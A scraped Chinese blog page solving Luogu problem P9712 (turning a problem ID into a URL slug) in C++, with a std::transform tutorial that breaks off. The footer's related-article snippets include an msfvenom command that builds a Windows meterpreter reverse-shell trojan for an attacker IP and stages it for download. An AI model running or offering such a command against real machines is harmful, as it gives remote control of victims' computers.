P9712 「QFOI R1」貼貼

「QFOI R1」貼貼

題目描述

小 R 是一個可愛的女孩子,她希望通過給洛谷題目寫題解的方式跟出題人貼貼。

她發現,如果從題解界面點擊“提交題解”按鈕,博客中會自動生成 URL 標識符,也就是文章的鏈接。

其中,標識符的生成規則如下:

  • 將題號的所有大寫字母轉為小寫。
  • 將上一步結果的所有下劃線轉為減號。
  • 在上一步結果前面加上 solution-

她準備給一道題目寫題解,已知這道題的題號,你能求出 URL 標識符嗎?

輸入格式

一行,一個字符串 s s s,表示題號。

輸出格式

一行,一個字符串,表示 URL 標識符。

樣例 #1

樣例輸入 #1

P9202

樣例輸出 #1

solution-p9202

樣例 #2

樣例輸入 #2

CF1797F

樣例輸出 #2

solution-cf1797f

樣例 #3

樣例輸入 #3

AT_abc312_h

樣例輸出 #3

solution-at-abc312-h

提示

樣例 3 3 3 解釋

根據生成規則:

  • 將題號的所有大寫字母轉為小寫:at_abc312_h
  • 將上一步結果的所有下劃線轉為減號:at-abc312-h
  • 在上一步結果前面加上 solution-solution-at-abc312-h

數據范圍

本題共 10 10 10 個測試點,每個測試點 10 10 10 分。

對于全部數據,保證題號僅包含大寫字母(ASCII 65 ~ 90 65\sim 90 6590)、小寫字母(ASCII 97 ~ 122 97\sim 122 97122)、數字(ASCII 48 ~ 57 48\sim 57 4857)、下劃線(ASCII 95 95 95),且長度不超過 20 20 20

對于全部數據,答案中應當僅包含小寫字母(ASCII 97 ~ 122 97\sim 122 97122)、數字(ASCII 48 ~ 57 48\sim 57 4857)、減號(ASCII 45 45 45)。

  • 對于測試點 1 1 1:保證為主題庫題目。
  • 對于測試點 2 2 2:保證為入門與面試題目。
  • 對于測試點 3 ~ 4 3\sim 4 34:保證為 CodeForces 題目。
  • 對于測試點 5 ~ 6 5\sim 6 56:保證為 SPOJ 題目。
  • 對于測試點 7 ~ 8 7\sim 8 78:保證為 AtCoder 題目。
  • 對于測試點 9 ~ 10 9\sim 10 910:保證為 UVA 題目。

方法1

解題思路:

  1. 將題號的所有大寫字母轉為小寫。
  2. 將上一步結果的所有下劃線轉為減號。
  3. 在上一步結果前面加上 solution-

我們可以按照這個步驟依次處理題號字符串,最終得到 URL 標識符。

C++代碼實現:

#include <iostream>
#include <string>
#include <algorithm>
using namespace std;string generateURLIdentifier(string s) {// 將題號的所有大寫字母轉為小寫transform(s.begin(), s.end(), s.begin(), ::tolower);// 將所有下劃線轉為減號replace(s.begin(), s.end(), '_', '-');// 在結果前面加上 "solution-"s = "solution-" + s;return s;
}int main() {string s;cin >> s;string urlIdentifier = generateURLIdentifier(s);cout << urlIdentifier << endl;return 0;
}

代碼解釋:

  1. 定義了一個函數 generateURLIdentifier,用于根據題號生成 URL 標識符。函數接受一個字符串 s 作為參數,表示題號,并返回生成的 URL 標識符。

  2. 在函數內部,首先使用 transform 函數將題號的所有大寫字母轉為小寫。::tolower 是一個函數指針,指向 tolower 函數,用于將大寫字母轉為小寫字母。

  3. 接下來,使用 replace 函數將所有下劃線替換為減號。

  4. 最后,在結果字符串的前面加上 "solution-" 前綴,得到最終的 URL 標識符。

  5. 函數返回生成的 URL 標識符。

  6. main 函數中,首先使用 cin 讀取題號字符串 s

  7. 調用 generateURLIdentifier 函數,將題號字符串 s 作為參數傳入,得到生成的 URL 標識符,并將其存儲在變量 urlIdentifier 中。

  8. 輸出 urlIdentifier,即為生成的 URL 標識符。

復雜度分析:

  • 時間復雜度: O ( n ) O(n) O(n),其中 n n n 是題號字符串的長度。我們需要遍歷題號字符串一次,對每個字符進行轉換操作。
  • 空間復雜度: O ( n ) O(n) O(n)。我們需要存儲題號字符串和生成的 URL 標識符,所需的空間與題號字符串的長度成正比。

這個解決方案利用了C++標準庫中的算法函數 transformreplace,可以方便地對字符串進行轉換和替換操作。通過按照題目要求的規則依次處理題號字符串,我們可以得到最終的 URL 標識符。

知識點補充

好的,讓我詳細解釋一下 transform 函數,并給出幾個使用案例。

transform 函數是C++標準庫中的一個算法函數,定義在 <algorithm> 頭文件中。它用于對一個范圍內的元素進行轉換,并將結果存儲到另一個范圍內。

transform 函數有兩種常用的形式:

  1. transform(first, last, result, unary_op)

    • firstlast 是輸入范圍的迭代器,指定要轉換的元素范圍。
    • result 是輸出范圍的迭代器,指定轉換結果存儲的位置。
    • unary_op 是一個一元函數對象或函數指針,用于對輸入范圍內的每個元素進行轉換操作。
  2. transform(first1, last1, first2, result, binary_op)

    • first1last1 是第一個輸入范圍的迭代器,指定要轉換的元素范圍。
    • first2 是第二個輸入范圍的迭代器,指定第二個輸入序列的起始位置。
    • result 是輸出范圍的迭代器,指定轉換結果存儲的位置。
    • binary_op 是一個二元函數對象或函數指針,用于對兩個輸入范圍內的對應元素進行轉換操作。

下面給出幾個使用 transform 函數的案例:

案例1:將字符串中的字符轉為大寫

#include <iostream>
#include <string>
#include <algorithm>
using namespace std;int main() {string str = "hello, world!";transform(str.begin(), str.end(), str.begin(), ::toupper);cout << str << endl;return 0;
}

輸出結果:

HELLO, WORLD!

在這個案例中,我們使用 transform 函數將字符串 str 中的每個字符轉為大寫。::toupper 是一個函數指針,指向 toupper 函數,用于將字符轉為大寫。

案例2:將容器中的元素乘以2

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;int main() {vector<int> nums = {1, 2, 3, 4, 5};transform(nums.begin(), nums.end(), nums.begin(), [](int x) { return x * 2; });for (int num : nums) {cout << num << " ";}cout << endl;return 0;
}

輸出結果:

2 4 6 8 10

在這個案例中,我們使用 transform 函數將容器 nums 中的每個元素乘以2。這里使用了一個匿名函數(lambda表達式)作為轉換操作,將每個元素乘以2。

案例3:將兩個容器中的對應元素相加

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;int main() {vector<int> nums1 = {1, 2, 3};vector<int> nums2 = {4, 5, 6};vector<int> result(3);transform(nums1.begin(), nums1.end(), nums2.begin(), result.begin(), plus<int>());for (int num : result) {cout << num << " ";}cout << endl;return 0;
}

輸出結果:

5 7 9

在這個案例中,我們使用 transform 函數將兩個容器 nums1nums2 中的對應元素相加,并將結果存儲到 result 容器中。plus<int>() 是一個函數對象,用于執行

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18421.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18421.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18421.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…

python數據分析——分組操作1

參考資料&#xff1a;活用pandas庫 1、簡介 借助“分割-應用-組合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分組操作可以有效地聚合、轉換和過濾數據。 分割&#xff1a;基于鍵&#xff0c;把要處理的數據分割為小片段。 應用&#xff1a;分別處理每個數…

Linux shell編程學習筆記51: cat /proc/cpuinfo:查看CPU詳細信息

0 前言 2024年的網絡安全檢查又開始了&#xff0c;對于使用基于Linux的國產電腦&#xff0c;我們可以編寫一個腳本來收集系統的有關信息。對于中央處理器CPU比如&#xff0c;我們可以使用cat /proc/cpuinfo命令來收集中央處理器CPU的信息。 1. /proc/cpuinfo 保存了系統的cpu…

樹莓派開箱

1.樹莓派4B配置 CPU&#xff1a;64位1.5GHZ四核處理器。 GPU:Broadcom VideoCore VI500MHZ 藍牙5.0 電源Type C(5V 3A),也可以使用排針鏈接5V鋰電池最大放電電流必須達到3A。 還有千兆以太網等以后用到再說。 接下來進入文章重點 2.鏡像文件燒錄 前期準備&#xff1a;1…

「TypeScript系列」TypeScript 命名空間

文章目錄 一、TypeScript 命名空間1. 使用命名空間2. 命名空間與模塊的區別3. 總結 二、命名空間使用場景1. 防止命名沖突2. 組織和管理代碼3. 兼容其他庫或框架4. 大型項目中封裝功能模塊5. 總結 三、命名空間有哪些優缺點1. 優點&#xff1a;2. 缺點&#xff1a; 四、相關鏈接…

AI賦能數字人:打造與語音節奏完美匹配的高質量手勢動畫

在數字化時代,人機交互正以前所未有的速度進化,而AI數字人的發展正是這一進程中的重要里程碑。近期,一項旨在根據語音內容自動生成匹配手勢的技術方案引起了廣泛關注,該技術不僅增強了數字人的表現力,也為遠程溝通、教育、娛樂等多個領域帶來了革新性的應用潛力。本文將深…

【leetcode1944--隊列中可以看到的人數】

有n人排成一個隊列&#xff0c;從左到右編號為0到n-1&#xff0c;height數組記錄每個人的身高&#xff0c;返回一個數組&#xff0c;記錄每個人能看到幾個人。 類比&#xff1a;山峰問題&#xff0c;高的后面的矮的看不見。 從后往前&#xff0c;最后一個元素入棧&#xff0c…

Apifox 更新|編排模式、Markdown 編輯器升級、自動申請 SSL 證書、用戶反饋問題優化

Apifox 新版本上線啦&#xff01; 看看本次版本更新主要涵蓋的重點內容&#xff0c;有沒有你所關注的功能特性&#xff1a; 自動化測試新增「編排模式」Markdown 編輯器全新升級返回響應直接預覽 PDF 及視頻自動申請 SSL 證書支持配置自定義域名的子目錄流式接口支持篩選和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 圖像處理中最經典的邊沿檢測算法&#xff1a; Canny邊緣檢測_嗶哩嗶哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真

目錄 1.課題概述 2.系統仿真結果 3.核心程序與模型 4.系統原理簡介 5.完整工程文件 1.課題概述 基于模糊PID控制器的汽車電磁懸架控制系統simulink建模與仿真。 2.系統仿真結果 上面的仿真結果是無控制器和LQG的對比&#xff0c;以及有控制器和LQG的對比仿真。 3.核心程…

win10桌面右鍵-新建文件夾-死機-修復

死機->任務管理器->重新啟動 任務管理器&#xff1a;重新啟動“文件資源管理器”或者關閉“文件資源管理器” 快捷鍵&#xff1a;CtrlAltEsc 關閉后桌面黑屏重新啟動&#xff1a;文件->運行新任務->輸入 explorer ->確定 死機-> 事件查看器->排查錯誤 …

Qt串口異步通信案例(從機線程)

文章目錄 串口線程類初始化串口類打開串口并發送數據析構函數 窗口設置窗口函數實現 串口線程類 SlaveThread&#xff08;從機線程&#xff09; 目的&#xff1a;等待并響應來自主機的請求&#xff0c;然后發送預設的響應數據。 關鍵行為&#xff1a;線程啟動后&#xff0c;通過…

STL庫--string

目錄 string的定義 string中內存的訪問 string常用函數實例解析 string的定義 定義string的方式跟基本類型相同&#xff0c;只需要在string后跟上變量名即可&#xff1a; string str; 如果要初始化&#xff0c;可以直接給string類型的變量進行賦值&#xff1a; string s…

Vue3+vite項目中使用mock模擬接口

安裝依賴 分別安裝vite-plugin-mock跟mockjs兩個插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是紅色標記的配置 注意此處如果配置出錯可能是vite-plugin-mock依賴的版本有問題&#xff0c;重新安裝一下依賴指定版本即可&#xf…

Pytorch環境配置2.0.1+ Cuda11.7

查找cuda、cudnn、Pytorch(GPU)及cuda和NVIDIA顯卡驅動對應關系 查詢可支持的最高cuda版本 nvidia-smi查看支持的cuda的版本 CUDA版本對應表 我的顯卡驅動是Driver Version&#xff1a;535.40.&#xff0c;那么左邊對應的CUDA都可以兼容 右上角為CUDA 版本&#xff0c;可以看…

Ubuntu配置Git

安裝git sudo apt install git 查看是否安裝成功 git --version 配置git 用github上注冊的用戶名和郵箱地址&#xff0c;配置git git config --global user.name "username" git config --global user.email "usernameemail.com" 重啟ubuntu查看…

Collection(一)[集合體系]

說明&#xff1a;Collection代表單列集合&#xff0c;每個元素&#xff08;數據&#xff09;只包含一個值。 Collection集合體系&#xff1a; Collection<E> 接口 (一&#xff09;List<E> 接口 說明&#xff1a;添加的元素是有序、可重復、有索引。 1. ArrayLi…